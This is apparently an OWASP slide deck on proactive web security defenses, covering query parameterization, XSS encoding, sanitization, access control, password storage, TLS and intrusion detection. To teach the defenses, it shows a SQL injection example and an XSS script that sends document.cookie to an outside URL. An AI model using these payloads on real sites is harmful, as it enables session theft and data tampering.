OWASP Top Ten

Proactive Defenses
Jim Manico
[email protected]
Global Board

Jim Manico
@manicode
- OWASP Global Board
Member
- Project manager of the
OWASP Cheat Sheet
Series and several other
OWASP projects
- 18+ years of software
development experience
- Author of "Iron-Clad Java,
Building Secure Web
Applications" from
McGraw-Hill/Oracle Press
-

CORE MISSION
The Open Web Application Security Project
(OWASP) is a 501c3 not-for-profit also registered
in Europe as a worldwide charitable organization
focused on improving the security of
software.
Our mission is to make application security
visible, so that people and organizations can
make informed decisions about true
application security risks.
Everyone is welcomed to participate in OWASP
and all of our materials are available under free
and open software licenses.

(1) Parameterize Queries

BOBBY TABLES IS WRONG. WHY?

'[email protected]

$NEW_EMAIL = Request['new_email'];
update users set email='$NEW_EMAIL'
where id=290494828;

1. update users set email='$NEW_EMAIL'

where id=290494828
2. $NEW_EMAIL =

'[email protected]

3. update users set email=''[email protected]'

where id=290494828

$stmt = $dbh->prepare("update users set

email=:new_email where id=:user_id");
$stmt->bindParam(':new_email', $email);
$stmt->bindParam(':user_id', $id);

SqlConnection objConnection = new

SqlConnection(_ConnectionString);
objConnection.Open();
SqlCommand objCommand = new SqlCommand(
"SELECT * FROM User WHERE Name = @Name
AND Password = @Password",
objConnection);
objCommand.Parameters.Add("@Name",
NameTextBox.Text);
objCommand.Parameters.Add("@Password",
PassTextBox.Text);
SqlDataReader objReader =
objCommand.ExecuteReader();

String newName = request.getParameter("newName");

String id = request.getParameter("id");
//SQL
PreparedStatement pstmt = con.prepareStatement("UPDATE
EMPLOYEES SET NAME = ? WHERE ID = ?");
pstmt.setString(1, newName);
pstmt.setString(2, id);
//HQL
Query safeHQLQuery = session.createQuery("from
Employees
where id=:empId");
safeHQLQuery.setParameter("empId", id);

my $sql = "INSERT INTO foo (bar, baz) VALUES

( ?, ? )";
my $sth = $dbh->prepare( $sql );
$sth->execute( $bar, $baz );

(2) Encode Data

Before Use In A Parser

<script>
var
badURL='https://manicode.com/somesite/d
ata=' + document.cookie;
var img = new Image();
img.src = badURL;
</script>
<script>document.body.innerHTML='<blink
>GO OWASP</blink>';</script>

Contextual Output Encoding

(XSS Defense)

Session Hijacking
Site Defacement
Network Scanning
Undermining CSRF Defenses
Site Redirection/Phishing
Load of Remotely Hosted Scripts
Data Theft
Keystroke Logging
Attackers using XSS more frequently

<

&lt;

Microsoft Encoder and AntiXSS Library

System.Web.Security.AntiXSS

Microsoft.Security.Application.
AntiXSS

Can encode for HTML, HTML

attributes, XML, CSS and
JavaScript.

Native .NET Library

OWASP Java Encoder Project

https://www.owasp.org/index.php/OWASP_Java_Encoder_Project

No third party libraries or configuration necessary

This code was designed for high-availability/highperformance encoding functionality
Simple drop-in encoding functionality
Redesigned for performance
More complete API (uri and uri component encoding,
etc) in some regards.
Java 1.5+
Current version 1.1.1
Last update, January 16th 2015
https://code.google.com/p/owasp-java-

OWASP Java Encoder Project

https://www.owasp.org/index.php/OWASP_Java_Encoder_Project

HTML Contexts
Encode#forHtml
Encode#forHtmlContent
Encode#forHtmlAttribute
Encode#forHtmlUnquotedAttri
bute
XML Contexts
Encode#forXml
Encode#forXmlContent
Encode#forXmlAttribute
Encode#forXmlComment
Encode#forCDATA

CSS Contexts
Encode#forCssString
Encode#forCssUrl
JavaScript Contexts
Encode#forJavaScript
Encode#forJavaScriptAttribute
Encode#forJavaScriptBlock
Encode#forJavaScriptSource
URI/URL contexts
Encode#forUri
Encode#forUriComponent

Ruby on Rails
http://api.rubyonrails.org/classes/ERB/Util.html
PHP
http://twig.sensiolabs.org/doc/filters/escape.html
http://framework.zend.com/manual/2.1/en/modules/zend.escaper.i
ntroduction.html
Java/Scala (Updated January 2015)
https://www.owasp.org/index.php/OWASP_Java_Encoder_Project
.NET AntiXSS Library (v4.3 NuGet released June 2, 2014)
http://www.nuget.org/packages/AntiXss/
GO
http://golang.org/pkg/html/template/
Reform Project
.NET v1/v2, Classic ASP, Python, Perl, JavaScript
https://www.owasp.org/index.php/Category:OWASP_Encoding_Proje
ct

 LDAP Encoding Functions

ESAPI and .NET AntiXSS
Command Injection Encoding Functions
Careful here
ESAPI

XML Encoding Functions

OWASP Java Encoder

http://boldersecurity.github.io/encodercomparison-reference/

(3) Validate All Inputs

OWASP HTML Sanitizer Project

https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project

HTML Sanitizer written in Java which lets you include HTML

authored by third-parties in your web application while protecting
against XSS.
This code was written with security best practices in mind, has an
extensive test suite, and has undergone adversarial security
review
https://code.google.com/p/owasp-java-html-sanitizer/wiki/Attack
ReviewGroundRules
.
It allows for simple programmatic POSITIVE policy configuration.
No XML config.
Actively maintained by Mike Samuel from Google's AppSec team!
This is code from the Caja project that was donated by Google. It
is rather high performance and low memory utilization.

public static final PolicyFactory IMAGES = new

HtmlPolicyBuilder()
.allowUrlProtocols("http",
"https").allowElements("img")
.allowAttributes("alt", "src").onElements("img")
.allowAttributes("border", "height",
"width").matching(INTEGER)
.onElements("img")
.toFactory();
public static final PolicyFactory LINKS = new
HtmlPolicyBuilder()
.allowStandardUrlProtocols().allowElements("a")

 Pure
Pure JavaScript,
JavaScript, client
client side
side HTML
HTML Sanitization
Sanitization with
with CAJA!
CAJA!
http://code.google.com/p/google-caja/wiki/JsHtmlSanitizer
http://code.google.com/p/google-caja/wiki/JsHtmlSanitizer
https://code.google.com/p/google-caja/source/browse/trunk/src/com/google/caja
https://code.google.com/p/google-caja/source/browse/trunk/src/com/google/caja
/plugin/html-sanitizer.js
/plugin/html-sanitizer.js
Python
Python
https://pypi.python.org/pypi/bleach
https://pypi.python.org/pypi/bleach
PHP
PHP
http://htmlpurifier.org/
http://htmlpurifier.org/
http://www.bioinformatics.org/phplabware/internal_utilities/htmLawed/
http://www.bioinformatics.org/phplabware/internal_utilities/htmLawed/
.NET
.NET (v4.3
(v4.3 released
released June
June 2,
2, 2014)
2014)
AntiXSS.getSafeHTML/getSafeHTMLFragment
AntiXSS.getSafeHTML/getSafeHTMLFragment
http://www.nuget.org/packages/AntiXss/
http://www.nuget.org/packages/AntiXss/

https://github.com/mganss/HtmlSanitizer
https://github.com/mganss/HtmlSanitizer
Ruby
Ruby on
on Rails
Rails
https://rubygems.org/gems/loofah
https://rubygems.org/gems/loofah
http://api.rubyonrails.org/classes/HTML.html
http://api.rubyonrails.org/classes/HTML.html
Java
Java
https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project
https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project

Upload Verification
Filename and Size validation + antivirus
Upload Storage
Use only trusted filenames + separate domain
Beware of "special" files
"crossdomain.xml" or "clientaccesspolicy.xml".
Image Upload Verification
Enforce proper image size limits
Use image rewriting libraries
Set the extension of the stored image to be a valid image extension
Ensure the detected content type of the image is safe
Generic Upload Verification
Ensure decompressed size of file < maximum size
Ensure that an uploaded archive matches the type expected (zip, rar)
Ensure structured uploads such as an add-on follow proper standard

(4) Implement Appropriate

Access Controls

Access Control Anti-Patterns

Hard-coded role checks in application code

Lack of centralized access control logic
Untrusted data driving access control decisions
Access control that is open by default
Lack of addressing horizontal access control in a
standardized way (if at all)
Access control logic that needs to be manually
added to every endpoint in code
Access Control that is sticky per session
Access Control that requires per-user policy

if ( user.isRole( "JED I" ) ||

user.isRole( "PA D W A N " ) ||
user.isRole( "S ITH _LO R D " ) ||
user.isRole( "JED I_K ILLIN G _C Y B O R G " )
){
log.info("You m ay use a lightsaber ring. U se it w isely.");
} else {
log.info("Lightsaber rings are for schw artz m asters.");
}

if ( currentU ser.isPerm itted( "lig h tsab er:w ield " ) ) {

log.info("You m ay use a lightsaber ring. U se it w isely.");
} else {
log.info("Sorry, lightsaber rings are for schw artz m asters only.");
}

int w innebagoId = request.getInt("w innebago_id");

if ( currentU ser.isPerm itted( "w in n eb ag o:d rive:" + w innebagoId) ) {
log.info("You are perm itted to 'drive'the 'w innebago'. H ere are the keys.");
} else {
log.info("Sorry, you aren't allow ed to drive this w innebago!");
}

(5) Establish Authentication and

Identity Controls

1) Do not limit the type of

characters or length of user
password within reason
) Limiting passwords to protect against
injection is doomed to failure
) Use proper encoder and other defenses
described instead
) Be wary of systems that allow unlimited
password sizes (Django DOS Sept 2013)

2) Use a cryptographically strong

credential-specific salt
protect( [salt] + [password] );
Use a 32char or 64char salt (actual size
dependent on protection function);
Do not depend on hiding, splitting, or
otherwise obscuring the salt

3a) Impose difficult verification on

the attacker and defender

PBKDF2([salt] + [password], c=140,000);

Use PBKDF2 when FIPS certification or
enterprise support on many platforms is
required
Use Scrypt where resisting any/all
hardware accelerated attacks is necessary
but enterprise support and scale is not.

3b) Impose difficult verification on

only the attacker
HMAC-SHA-256( [private key], [salt] +
[password] )
Protect this key as any private key using best
practices
Store the key outside the credential store
Build the password-to-hash conversion as a
separate webservice (cryptograpic isolation).

Password1!

Google, Facebook, PayPal, Apple, AWS, Dropbox,

Twitter
Blizzard's Battle.Net, Valve's Steam, Yahoo

Require 2 identity questions

Last name, account number, email, DOB
Enforce lockout policy
Ask one or more good security questions

https://www.owasp.org/index.php/Choosing_and_Using_
Security_Questions_Cheat_Sheet
Send the user a randomly generated token via out-of-band
app, SMS or token
Verify code in same web session
Enforce lockout policy
Change password
Enforce password policy

Authentication Cheat Sheet

Password Storage Cheat Sheet
Forgot Password Cheat Sheet
Session Management Cheat Sheet
ASVS AuthN and Session Requirements

Obviously, Identity is a BIG topic.

ASVS 2 Authentication Requirements (Easy to Discover)

V2.1 Verify all pages and resources require authentication except those
specifically intended to be public (Principle of complete mediation).
V2.2 Verify all password fields do not echo the user's password when it is
entered.
V2.4 Verify all authentication controls are enforced on the server side.
V2.6 Verify all authentication controls fail securely to ensure attackers
cannot log in.
V2.16 Verify that credentials, and all other identity information handled
by the application(s), do not traverse unencrypted or weakly encrypted
links.
V2.17 Verify that the forgotten password function and other recovery
paths do not reveal the current password and that the new password is
not sent in clear text to the user.
V2.18 Verify that username enumeration is not possible via login,
password reset, or forgot account functionality.

ASVS 2 Authentication Requirements (Intermediate, p1)

V2.7 Verify password entry fields allow or encourage the use of

passphrases, and do not prevent long passphrases or highly complex
passwords being entered, and provide a sufficient minimum strength to
protect against the use of commonly chosen passwords.
V2.8 Verify all account identity authentication functions (such as
registration, update profile, forgot username, forgot password, disabled /
lost token, help desk or IVR) that might regain access to the account are
at least as resistant to attack as the primary authentication mechanism.
V2.9 Verify users can safely change their credentials using a mechanism
that is at least as resistant to attack as the primary authentication
mechanism.
V2.12 Verify that all authentication decisions are logged. This should
include requests with missing required information, needed for security
investigations.
V2.13 Verify that account passwords are salted using a salt that is

ASVS 2 Authentication Requirements (Intermediate, p2)

V2.20 Verify that a resource governor is in place to protect against vertical (a single
account tested against all possible passwords) and horizontal brute forcing (all
accounts tested with the same password e.g. Password1). A correct credential
entry should incur no delay. Both these governor mechanisms should be active
simultaneously to protect against diagonal and distributed attacks.
V2.21 Verify that all authentication credentials for accessing services external to the
application are encrypted and stored in a protected location (not in source code).
V2.22 Verify that forgot password and other recovery paths send a link including a
time-limited activation token rather than the password itself. Additional
authentication based on soft-tokens (e.g. SMS token, native mobile applications,
etc.) can be required as well before the link is sent over.
V2.23 Verify that forgot password functionality does not lock or otherwise disable
the account until after the user has successfully changed their password. This is to
prevent valid users from being locked out.
V2.24 Verify that there are no shared knowledge questions/answers (so called
"secret" questions and answers).
V2.25 Verify that the system can be configured to disallow the use of a configurable
number of previous passwords.

ASVS 2 Authentication Requirements (Advanced)

V2.5 Verify all authentication controls (including libraries that call

external authentication services) have a centralized implementation.

V2.26 Verify re-authentication, step up or adaptive authentication, SMS

or other two factor authentication, or transaction signing is required
before any application-specific sensitive operations are permitted as per
the risk profile of the application.

ASVS 2 Session Management Requirements

(Easy to Discover)

V3.1 Verify that the framework's default session management control

implementation is used by the application.
V3.2 Verify that sessions are invalidated when the user logs out.
V3.3 Verify that sessions timeout after a specified period of inactivity.
maximum time period regardless of activity (an absolute timeout).
V3.5 Verify that all pages that require authentication to access them have logout
links.
V3.6 Verify that the session id is never disclosed other than in cookie headers;
particularly in URLs, error messages, or logs. This includes verifying that the
application does not support URL rewriting of session cookies.
V3.14 Verify that authenticated session tokens using cookies sent via HTTP, are
protected by the use of "HttpOnly".
V3.15 Verify that authenticated session tokens using cookies are protected with
the "secure" attribute and a strict transport security header (such as StrictTransport-Security: max-age=60000; includeSubDomains) are present.

ASVS 2 Session Management Requirements

(Intermediate)

V3.4 Verify that sessions timeout after an administratively-configurable

V3.7 Verify that the session id is changed on login to prevent session fixation.
V3.8 Verify that the session id is changed upon re-authentication.
V3.10 Verify that only session ids generated by the application framework
are recognized as valid by the application.
V3.11 Verify that authenticated session tokens are sufficiently long and
random to withstand session guessing attacks.
V3.12 Verify that authenticated session tokens using cookies have their path
set to an appropriately restrictive value for that site. The domain cookie
attribute restriction should not be set unless for a business requirement,
such as single sign on.
V3.16 Verify that the application does not permit duplicate concurrent user
sessions, originating from different machines.

(6) Data Protection and Privacy

 What benefits do HTTPS provide?

Confidentiality, Integrity and Authenticity
Confidentiality: Spy cannot view your data
Integrity: Spy cannot change your data
Authenticity: Server you are visiting is the
right one

Encryption in Transit (HTTPS/TLS)

HTTPS configuration best practices

https://www.owasp.org/index.php/Transport_
Layer_Protection_Cheat_Sheet
https://www.ssllabs.com/projects/best-practice
s/

Certificate Pinning
https://www.owasp.org/index.php/Pinning_Cheat_Sheet

HSTS (Strict Transport Security)

http://www.youtube.com/watch?v=zEV3HOuM_Vw
Strict-Transport-Security: max-age=31536000

Forward Secrecy
https://whispersystems.org/blog/asynchronous-security/

Certificate Creation Transparency

http://certificate-transparency.org

Browser Certificate Pruning

HSTS Strict Transport Security

HSTS (Strict Transport Security)
http://www.youtube.com/watch?v=zEV3HOuM_
Vw
Strict-Transport-Security: max-age=31536000;
includeSubdomains
Forces browser to only make HTTPS connection to
server
Must be initially delivered over a HTTPS connection

 Current HSTS Chrome preload list http://

src.chromium.org/viewvc/chrome/trunk/src
/net/http/transport_security_state_static.json
If you own a site that you would like to see
included in the preloaded Chromium HSTS list,
start sending the HSTS header and then contact:
https://hstspreload.appspot.com/
A site is included in the Firefox preload list if the
following hold:
It is in the Chromium list (with force-https).
It sends an HSTS header.
The max-age sent is at least 10886400 (18 weeks).

More info at:

Certificate Pinning
What is Pinning
Pinning is a key continuity scheme
Detect when an imposter with a fake but CA validated certificate
attempts to act like the real server
2 Types of pinning
Carry around a copy of the server's public key;
Great if you are distributing a dedicated client-server application
since you know the server's certificate or public key in advance
Note of the server's public key on first use
Trust-on-First-Use, TOFU pinning
Useful when no a priori knowledge exists, such as SSH or a
Browser
https://www.owasp.org/index.php/Pinning_Cheat_Sheet

Browser-Based TOFU
Pinning

Browser-Based TOFU Pinning

Trust on First Use

HTTP Public Key Pinning IETF Draft

http://tools.ietf.org/html/draft-ietf-websec-keypinning-11

Freezes the certificate by pushing a

fingerprint of (parts of) the certificate chain
to the browser
Example:
Public-Key-Pins: pin-sha1="4n972HfV354KP560yw4uqe/baXc=";
pin-sha1="qvTGHdzF6KLavt4PO0gs2a6pQ00=";
pin-sha256="LPJNul+wow4m6DsqxbninhsWHlwfp0JecwQzYpOLmCQ=";
max-age=10000; includeSubDomains

Pinning in Play (Chrome)

Perfect Forward Secrecy

If you use older SSL ciphers, every time

anyone makes a SSL connection to your
server, that message is encrypted with
(basically) the same private server key
Perfect forward secrecy: Peers in a
conversation instead negotiate secrets through
an ephemeral (temporary) key exchange
With PFS, recording ciphertext traffic doesn't
help an attacker even if the private server key
is stolen!
From https://whispersystems.org/blog/asynchronous-security/

SSL/TLS Example Ciphers

Forward Secrecy:
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
NOT Forward Secrecy
TLS_RSA_WITH_AES_128_GCM_SHA256
TLS_RSA_WITH_AES_128_CBC_SHA256
TLS_RSA_WITH_AES_128_CBC_SHA
TLS_RSA_WITH_AES_256_GCM_SHA384
TLS_RSA_WITH_AES_256_CBC_SHA256

(0xc02f)
(0xc027)
(0xc013)
(0xc030)
(0xc028)
(0xc014)

(0x9c)
(0x3c)
(0x2f)
(0x9d)
(0x3d)

AES

AES-ECB

AES-GCM

AES-CBC

unique IV per message

padding

key storage and management

+ cryptographic process
isolation

Confidentiality!

HMAC your ciphertext

Integrity

derive integrity and

confidentiality keys from same
master key with labeling

don't forget to generate a

master key from a good
random source

Solving Real World Crypto Storage Problems

With Google KeyCzar
C rypter crypter = new Crypter("/path/to/your/keys");
String ciphertext = crypter.encrypt("Secret m essage");
String plaintext = crypter.decrypt(ciphertext);

Keyczar is an open source cryptographic toolkit for Java

Designed to make it easier and safer for developers to use
cryptography in their applications.

A simple API
Key rotation and versioning
Safe default algorithms, modes, and key lengths
Automated generation of initialization vectors and ciphertext
signatures
Java Python C++

(7) Error Handling, Logging and Intrusion

Detection

App Layer Intrusion Detection

Great detection points to start with
Input validation failure server side when client side
validation exists
Input validation failure server side on non-user
editable parameters such as hidden fields,
checkboxes, radio buttons or select lists
Forced browsing to common attack entry points
Honeypot URL (e.g. a fake path listed in robots.txt
like e.g. /admin/secretlogin.jsp)

App Layer Intrusion Detection

Others
Blatant SQLi or XSS injection attacks
Workflow sequence abuse (e.g. multi-part form in
wrong order)
Custom business logic (e.g. basket vs catalogue
price mismatch)
Further Study:
libinjection: from SQLi to XSS Nick Galbreath
Attack Driven Defense Zane Lackey

OWASP AppSensor (Java)

Project and mailing list

https://www.owasp.org/index.php/OWASP_Ap
pSensor_Project

Four-page briefing, Crosstalk, Journal of

Defense Software Engineering
http://www.crosstalkonline.org/storage/issue-

(8) Leverage Security Features of Frameworks

and Security Libraries

(9) Security Requirements

OWASP ASVS
https://www.owasp.org/inde
x.php/Category:OWASP_App
lication_Security_Verificatio
n_Standard_Project

(10) Security Architecture and

Design

Security Architecture and Design

Strategic effort
Business, technical and security stakeholders
Functional and non-functional security properties
Different flavors/efforts based on SDL/culture
Example: state
Should you use the request?
Should you use a web session?
Should you use the database?
These decisions have dramatic security implications

Trusting Input
Treating all client side data as untrusted is
important, and can be tied back to trust
zones/boundaries in design/architecture.
Ideally we want to consider all tiers to be
untrusted and build controls at all layers,
but this is not practical or even possible for
some very large systems.

Security Architecture and Design

Additional Considerations
Overall Architecture/Design
Trust Zones/Boundaries/Tiers
1. User Interface, API (Webservices),
2. Business Layer (Custom Logic),
3. Data Layer (Keys to the Kingdom)
4. What sources can/cannot be trusted?
What is inside/outside of a trust zone/boundary
Specific controls need to exist at certain layers
Attack Surface

CORE MISSION
The Open Web Application Security Project
(OWASP) is a 501c3 not-for-profit also registered
in Europe as a worldwide charitable organization
focused on improving the security of
software.
Our mission is to make application security
visible, so that people and organizations can
make informed decisions about true
application security risks.
Everyone is welcomed to participate in OWASP
and all of our materials are available under free
and open software licenses.

[email protected]
@manicode